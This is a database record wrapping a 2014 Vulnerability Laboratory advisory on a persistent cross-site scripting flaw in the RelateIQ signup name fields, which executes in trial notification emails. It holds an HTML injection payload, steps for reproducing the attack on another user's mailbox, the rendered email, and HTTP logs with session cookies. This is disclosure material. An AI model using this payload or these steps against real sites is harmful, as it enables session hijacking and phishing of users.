{"id": "VULNERLAB:1320", "vendorId": null, "type": "vulnerlab", "bulletinFamily": "exploit", "title": "RelateIQ Bug Bounty #1 - Persistent Signup Vulnerability", "description": "", "published": "2014-12-02T00:00:00", "modified": "2014-12-02T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "http://www.vulnerability-lab.com/get_content.php?id=1320", "reporter": "Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]", "references": [], "cvelist": [], "immutableFields": [], "lastseen": "2019-07-10T14:58:33", "viewCount": 18, "enchantments": {"dependencies": {}, "score": {"value": 0.2, "vector": "NONE"}, "backreferences": {"references": [{"type": "canvas", "idList": ["NGINX"]}, {"type": "threatpost", "idList": ["THREATPOST:07A8466539FBE60F0745BA8985EE73D1", "THREATPOST:87674040C7E713171787C372FB0D24DB", "THREATPOST:A5DA2027FC2C5FE68AC50C92BE182FB8", "THREATPOST:E6F05C49DD277EEC47DDEFB35F8D2818"]}]}, "exploitation": null, "vulnersScore": 0.2}, "sourceData": "Document Title:\r\n===============\r\nRelateIQ Bug Bounty #1 - Persistent Signup Vulnerability\r\n\r\n\r\nReferences (Source):\r\n====================\r\nhttp://www.vulnerability-lab.com/get_content.php?id=1320\r\n\r\nVideo: http://www.vulnerability-lab.com/get_content.php?id=1332\r\n\r\n\r\nRelease Date:\r\n=============\r\n2014-12-02\r\n\r\n\r\nVulnerability Laboratory ID (VL-ID):\r\n====================================\r\n1320\r\n\r\n\r\nCommon Vulnerability Scoring System:\r\n====================================\r\n3.4\r\n\r\n\r\nProduct & Service Introduction:\r\n===============================\r\nRelateIQ, a subsidiary of Salesforce, is an American enterprise software company based in Palo Alto, California. The company`s \r\nsoftware is a relationship intelligence platform that combines data from email systems, smartphone calls, and appointments to \r\naugment or replace standard relationship management tools or database solutions. It scans `about 10,000 emails, calendar entries, \r\nand other data points per minute at first run.\r\n\r\nIn July 2014, salesforce.com announced plans to acquire the company for close to $400 million. Industry insiders predict that \r\nthe acquisition will bulk up salesforce.com`s data science offering, enabling the world`s #1 CRM provider to compete amid rapidly \r\nchanging enterprise software requirements. One article on the acquisition states, `If RelateIQ fulfills its promises of stopping \r\nteam members from accidentally emailing the same queries to clients or customers, or allows salespeople to decipher the corporate \r\nhierarchies of their potential contacts through algorithms, there could be some lasting changes to the world of sales.\r\n\r\nRelateIQ is committed to working with security experts across the globe to stay up to date with the latest security techniques. \r\nIf you have discovered a security issue that you believe we should know about, we`d welcome working with you. Please let us know \r\nabout it and we`ll make every effort to quickly correct the issue.\r\n\r\n(Copy of the Homepage: https://www.relateiq.com & http://en.wikipedia.org/wiki/RelateIQ )\r\n\r\n\r\nAbstract Advisory Information:\r\n==============================\r\nThe Vulnerability Laboratory Research Team discovered a persistent mail encoding web vulnerability in the official RelateIQ Company Web-Application 2014-Q4.\r\n\r\n\r\nVulnerability Disclosure Timeline:\r\n==================================\r\n2014-09-07:\tResearcher Notification & Coordination (Benjamin Kunz Mejri)\r\n2014-12-02:\tPublic Disclosure (Vulnerability Laboratory)\r\n\r\n\r\nDiscovery Status:\r\n=================\r\nPublished\r\n\r\n\r\nAffected Product(s):\r\n====================\r\nSalesforce\r\nProduct: RelateIQ - Web Application 2014 Q3\r\n\r\n\r\nExploitation Technique:\r\n=======================\r\nRemote\r\n\r\n\r\nSeverity Level:\r\n===============\r\nLow\r\n\r\n\r\nTechnical Details & Description:\r\n================================\r\nA persistent mail encoding web vulnerability has been discovered in the official RelateIQ Company Web-Application 2014-Q3.\r\nThe vulnerability allows to inject own malicious script codes on the application-side of the affected service application.\r\n\r\nThe remote vulnerability is located in the first- and lastname values of the vulnerable relateiq website user profile module.\r\nRemote attackers are able to inject own script codes as payload to the first- and lastname value of a users profile. After the \r\nunverified registration the service captures internally the emails of the users and send back a notification to test the service \r\nafter apply to register. The mail arrives at the registration website of the relateiq website with an automatic mailing function.\r\nIn the outgoing email of the relateiq service are the stored profile values wrong encoded. The result is a persistent execution \r\nof the script code through the website web-application in the ougoing service notify mails like `let`s set up your RelateIQ trial`.\r\nIn the header of the outgoing mail that arrives next to the introduction word `Hi` of the template the execution takes place. \r\nThe issue can be exploited locally or by profile mail change to other unauthorized accounts through the RelateIQ site web-application.\r\nIn all other location the mail body context is secure encoded. During the tests only in the trail notify service is marked as vulnerable.\r\nThe attack vector of the vulnerability is located on the application-side of the web-server and the request method to inject the \r\nmalicious script code is POST.\r\n\r\nIn the application itself is a xss protection and a xsrf token set to prevent manipulations like the mail encoding issue. The mechnism \r\nis set to parse malicious client-side and malicious application-side requests already in the frontend of the application. In case of the \r\nmail encoding issue the code went through the differnt secure functions without parse and executes at the end because of wrong encoding \r\nin another sections module.\r\n\r\nThe security risk of the persistent mail encoding vulnerability is estimated as medium with a cvss (common vulnerability scoring system) \r\ncount of 3.4. Exploitation of the persistent vulnerability requires a low privileged web-application user account and low user interaction. \r\nSuccessful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirects to malicious \r\nsource or persistent manipulation of affected or connected module context.\r\n\r\nRequest Method(s):\r\n\t\t\t\t[+] POST\r\n\r\nVulnerable Module(s):\r\n\t\t\t\t[+] Signup (https://www.relateiq.com/sign-up)\r\n\r\nVulnerable Parameter(s):\r\n\t\t\t\t[+] firstname\r\n\t\t\t\t[+] lastname\r\n\r\nAffected Module(s):\r\n\t\t\t\t[+] let`s set up your RelateIQ trial\r\n\r\n\r\nProof of Concept (PoC):\r\n=======================\r\nThe persistent mail encoding web vulnerability can be exploited by remote attackers with low privileged application user account and low user interaction.\r\nFor security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.\r\n\r\nPoC: Payload\r\n%20\"><\"<img src=\"x\">%20%20>\"<iframe src=a>%20<iframe>\r\n\r\n\r\nManual steps to reproduce the vulnerability ...\r\n\r\n1. Open your web browser (exp. mozilla firefox)\r\n2. Open the trail registration website of the relateiq https://www.relateiq.com/sign-up\r\n3. Register as user through the trail module service\r\nNote: Inject own script codes as payload in registration for firstname and lastname values\r\n4. Save the settings to register and login a first time\r\n5. After a short period of time a notification mail with the `let's set up your RelateIQ trial` topic arrives\r\nNote: The execution of the injected script code occurs in the arrived mail next to the introduction word `HI`\r\n6. Successful local reproduce of the vulnerability!\r\n7. Now, go to the user profile of the account and change the email of the profile by add\r\n8. Change the email of the local profile to a remote mail as target and save the settings\r\n9. The manipulated context runs through the relateIQ website web-application and executes in the postbox of the new saved mail\r\n10. Successful reproduce of the remote vulnerability!\r\n\r\n\r\nPoC: Let's set up your RelateIQ trial - Mail Notification through WebServer\r\n\r\n<html><head>\r\n<title>\"><\"<img, let's set up your RelateIQ trial</title>\r\n<link rel=\"important stylesheet\" href=\"chrome://messagebody/skin/messageBody.css\">\r\n</head>\r\n<body>\r\n<table class=\"header-part1\" border=\"0\" width=\"100%\" cellpadding=\"0\" cellspacing=\"0\"><tbody><tr><td><b>Betreff: </b>\"><\"<img, \r\nlet's set up your RelateIQ trial</td></tr><tr><td><b>Von: </b>Nakul Narayan <nakul@relateiq.com></td></tr><tr><td><b>Datum: </b>\r\n08.09.2014 17:00</td></tr></tbody></table><table class=\"header-part2\" border=\"0\" width=\"100%\" cellpadding=\"0\" cellspacing=\"0\">\r\n<tbody><tr><td><b>An: </b>admin@vulnerability-lab.com</td></tr></tbody></table><br>\r\n\r\n<title>Your Email Title</title>\r\n<div style=\"font:14px tahoma; width:100%; \" class=\"mktEditable\" id=\"edit_text\"><div class=\"mktEditable\" id=\"column_text\">\r\n<p><span id=\"docs-internal-guid-ac061c64-104e-912d-076d-44ae7e4a003f\"> </span></p>\r\n<p dir=\"ltr\"><span> </span></p>\r\n<p dir=\"ltr\">Hi \"><\"<[PERSISTENT INJECTED SCRIPT CODE VIA FIRST-&LASTNAME VALUES]>%20<iframe>,</p>\r\n<p dir=\"ltr\"><span>I hope things are going well now that you're a few days into your RelateIQ trial. I\u2019m a resource to make \r\nsure you make the most of your next 27 days. Do you have any questions regarding the platform or are you already smooth sailing?</span></p>\r\n<p><span>Let me know how I can add value.</span></p>\r\n<p><span>Best,</span></p>\r\n<p><span>Nakul Narayan<br />650-666-0769| nakul@relateiq.com<br /></span></p></div>\r\n</div>\r\n<IMG SRC=\"http://go.relateiq.com/trk?t=1&mid=ODAwLU1XVS0zNzQ6NDY3NDoxNjUxOjM5Mjc6MDoyMzE2Ojc6MjY2ODM2OmFkbWluQHZ1bG5lcmFiaWxpdHktbGFiLmNvbQ%3D%3D\" \r\nWIDTH=\"1\" HEIGHT=\"1\" BORDER=\"0\" ALT=\"\" /><p><font face=\"Verdana\" size=\"1\">This email was sent to admin@vulnerability-lab.com. If you no longer wish \r\nto receive these emails you may <a href=\"http://go.relateiq.com/u/s02Z0g00pWdQ0M071O30m0U\">unsubscribe</a> at any time. </font> </p>\r\n</body></html></body>\r\n</html>\r\n</iframe></p></div></div></body></html>\r\n\r\n\r\n--- PoC Session Logs [POST] (Registration) ---\r\n19:23:50.564[1389ms][total 1389ms] Status: 302[Found]\r\nPOST https://info.relateiq.com/index.php/leadCapture/save Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr\u00f6\u00dfe des Inhalts[106] Mime Type[text/html]\r\n Request Header:\r\n Host[info.relateiq.com]\r\n User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]\r\n Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]\r\n Accept-Language[de,en-US;q=0.7,en;q=0.3]\r\n Accept-Encoding[gzip, deflate]\r\n Referer[https://www.relateiq.com/sign-up]\r\n Cookie[_ga=GA1.2.898430886.1410189135; optimizelySegments=%7B%22827991865%22%3A%22false%22%2C%22828702118%22%3A%22referral%22%2C%22828011871%22%3A%22ff%22%7D; optimizelyEndUserId=oeu1410189136698r0.49006511741519143; optimizelyBuckets=%7B%7D; brto=20a220aed5055d302ef04c1e4fe50741; _mkto_trk=id:800-MWU-374&token:_mch-relateiq.com-1410189136773-61452; __utma=68623378.898430886.1410189135.1410189362.1410193367.3; __utmc=68623378; __utmz=68623378.1410193367.3.3.utmcsr=hackerone.com|utmccn=(referral)|utmcmd=referral|utmcct=/relateiq; BIGipServersj04web-ssl5_https=1393164298.47873.0000; __utmb=68623378.26.10.1410193367; _dc_gtm_UA-25227107-2=1; mp_cbf11c45fd9c51dfa90fe77aa4861a68_mixpanel=%7B%22distinct_id%22%3A%20%2214855d6d18d11b-0bf8f6ccbc2c52-41534336-1fa400-14855d6d18e92%22%2C%22%24initial_referrer%22%3A%20%22https%3A%2F%2Fwww.relateiq.com%2Faccount%22%2C%22%24initial_referring_domain%22%3A%20%22www.relateiq.com%22%7D]\r\n Connection[keep-alive]\r\n POST-Daten:\r\n FirstName[%22%22img+src%3D%22x%22%2520%2520%22iframe+src%3Da%2520iframe]\r\n LastName[%22%22img+src%3D%22x%22%2520%2520%22iframe+src%3Da%2520iframe]\r\n Email[bkm%40evolution-sec.com]\r\n Phone[42341412512124]\r\n _marketo_comments[]\r\n lpId[-1]\r\n email_system[Google+Apps]\r\n LeadSource[RIQ+Website]\r\n subId[137]\r\n munchkinId[800-MWU-374]\r\n kw[]\r\n cr[]\r\n searchstr[]\r\n lpurl[https%3A%2F%2Finfo.relateiq.com%2FContactUs_temp.html%3Fcr%3D%7Bcreative%7D%26kw%3D%7Bkeyword%7D]\r\n formid[1002]\r\n returnLPId[-1]\r\n returnURL[https%3A%2F%2Fwww.relateiq.com%2Faccount]\r\n retURL[https%3A%2F%2Fwww.relateiq.com%2Faccount]\r\n _mkt_disp[return]\r\n _mkt_trk[]\r\n Response Header:\r\n Date[Mon, 08 Sep 2014 17:24:35 GMT]\r\n Server[Apache]\r\n Location[https://www.relateiq.com/account]\r\n Vary[Accept-Encoding]\r\n Content-Encoding[gzip]\r\n Content-Length[106]\r\n Connection[Keep-Alive]\r\n Content-Type[text/html]\r\n-\r\n19:23:51.964[0ms][total 0ms] Status: pending[]\r\nGET https://www.relateiq.com/account Load Flags[LOAD_DOCUMENT_URI LOAD_REPLACE LOAD_INITIAL_DOCUMENT_URI ] Gr\u00f6\u00dfe des Inhalts[unknown] Mime Type[unknown]\r\n Request Header:\r\n Host[www.relateiq.com]\r\n User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]\r\n Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]\r\n Accept-Language[de,en-US;q=0.7,en;q=0.3]\r\n Accept-Encoding[gzip, deflate]\r\n Referer[https://www.relateiq.com/sign-up]\r\n Cookie[_ga=GA1.2.898430886.1410189135; optimizelySegments=%7B%22827991865%22%3A%22false%22%2C%22828702118%22%3A%22referral%22%2C%22828011871%22%3A%22ff%22%7D; \r\noptimizelyEndUserId=oeu1410189136698r0.49006511741519143; optimizelyBuckets=%7B%7D; brto=20a220aed5055d302ef04c1e4fe50741; \r\n_mkto_trk=id:800-MWU-374&token:_mch-relateiq.com-1410189136773-61452; wcsid=16ommSuyCYswH0Yt9A8Lb5P3JNA2XXWA; hblid=jRftQq9No6oroci19A8Lb5P3JN7yHJNB; \r\n_oklv=1410196980951%2C16ommSuyCYswH0Yt9A8Lb5P3JNA2XXWA; olfsk=olfsk8923002152136381; \r\n_okbk=cd5%3Daway%2Cwa1%3Dtrue%2Ccd4%3Dtrue%2Cvi5%3D0%2Cvi4%3D1410189139993%2Cvi3%3Dactive%2Cvi2%3Dfalse%2Cvi1%3Dfalse%2Ccd8%3Dchat%2Ccd6%3D0%2Ccd3%3Dfalse%2Ccd2%3D0%2Ccd1%3D0%2C; \r\n_ok=7196-992-10-8729; _okac=08e9c038f5b55f07031acd986d16f550; _okla=1; __utma=68623378.898430886.1410189135.1410189362.1410193367.3; \r\n__utmc=68623378; __utmz=68623378.1410193367.3.3.utmcsr=hackerone.com|utmccn=(referral)|utmcmd=referral|utmcct=/relateiq; __utmb=68623378.26.10.1410193367; \r\n_dc_gtm_UA-25227107-2=1; mp_cbf11c45fd9c51dfa90fe77aa4861a68_mixpanel=%7B%22distinct_id%22%3A%20%2214855d6d18d11b-0bf8f6ccbc2c52-41534336-1fa400-\r\n14855d6d18e92%22%2C%22%24initial_referrer%22%3A%20%22https%3A%2F%2Fwww.relateiq.com%2Faccount%22%2C%22%24initial_referring_domain%22%3A%20%22www.relateiq.com%22%7D]\r\n-\r\nStatus: 200[OK] GET https://app.relateiq.com/#/register - 200\r\nContent-Disposition=attachment\r\nContent-Type=application/json; charset=utf-8\r\nDate=Mon, 08 Sep 2014 17:24:42 GMT\r\nServer=nginx\r\nStrict-Transport-Security=max-age=31536000\r\nX-Frame-Options=SAMEORIGIN, SAMEORIGIN\r\nX-XSS-Protection=1; mode=block\r\nContent-Length=45\r\nConnection=keep-alive\r\n\r\n\r\nReference(s): Urls\r\nhttps://info.relateiq.com/index.php/leadCapture/save\r\nhttps://www.relateiq.com/sign-up\r\nhttps://app.relateiq.com/#/register\r\nhttps://www.relateiq.com/account\r\nhttp://go.relateiq.com/trk?t=1&mid=ODAwLU1XVS0zNzQ6NDY3NDoxNjUxOjM5Mjc6MDoyMzE2Ojc6MjY2ODM2OmFkbWluQHZ1bG5lcmFiaWxpdHktbGFiLmNvbQ%3D%3D\r\n\r\n\r\nSolution - Fix & Patch:\r\n=======================\r\nThe vulnerability can be patched by a secure parse and encode of the firstname and lastname values in the user profile.\r\nRestrict the input and disallow special char. Encode the db stored profile values in outgoing emails to prevent further execution of persistent script codes.\r\n\r\n\r\nSecurity Risk:\r\n==============\r\nThe security risk of the persistent mail encoding web vulnerability in the relateiq web-application is estimated as medium (cvss 3.4)\r\n\r\n\r\nCredits & Authors:\r\n==================\r\nVulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]\r\n\r\n\r\nDisclaimer & Information:\r\n=========================\r\nThe information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed \r\nor implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable \r\nin any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab \r\nor its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for \r\nconsequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, \r\npolicies, deface websites, hack into databases or trade with fraud/stolen material.\r\n\r\nDomains: www.vulnerability-lab.com \t- www.vuln-lab.com\t\t\t \t\t- www.evolution-sec.com\r\nContact: admin@vulnerability-lab.com \t- research@vulnerability-lab.com \t \t\t- admin@evolution-sec.com\r\nSection: magazine.vulnerability-db.com\t- vulnerability-lab.com/contact.php\t\t \t- evolution-sec.com/contact\r\nSocial:\t twitter.com/#!/vuln_lab \t\t- facebook.com/VulnerabilityLab \t \t\t- youtube.com/user/vulnerability0lab\r\nFeeds:\t vulnerability-lab.com/rss/rss.php\t- vulnerability-lab.com/rss/rss_upcoming.php \t\t- vulnerability-lab.com/rss/rss_news.php\r\nPrograms: vulnerability-lab.com/submit.php \t- vulnerability-lab.com/list-of-bug-bounty-programs.php\t- vulnerability-lab.com/register/\r\n\r\nAny modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to \r\nelectronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by \r\nVulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website \r\nis trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact \r\n(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.\r\n\r\n\t\t\t\tCopyright \u00a9 2014 | Vulnerability Laboratory - [Evolution Security GmbH]\u2122\r\n\r\n\r\n\r\n", "category": "", "_state": {"dependencies": 1647589307, "score": 1659730939, "epss": 1678853679}}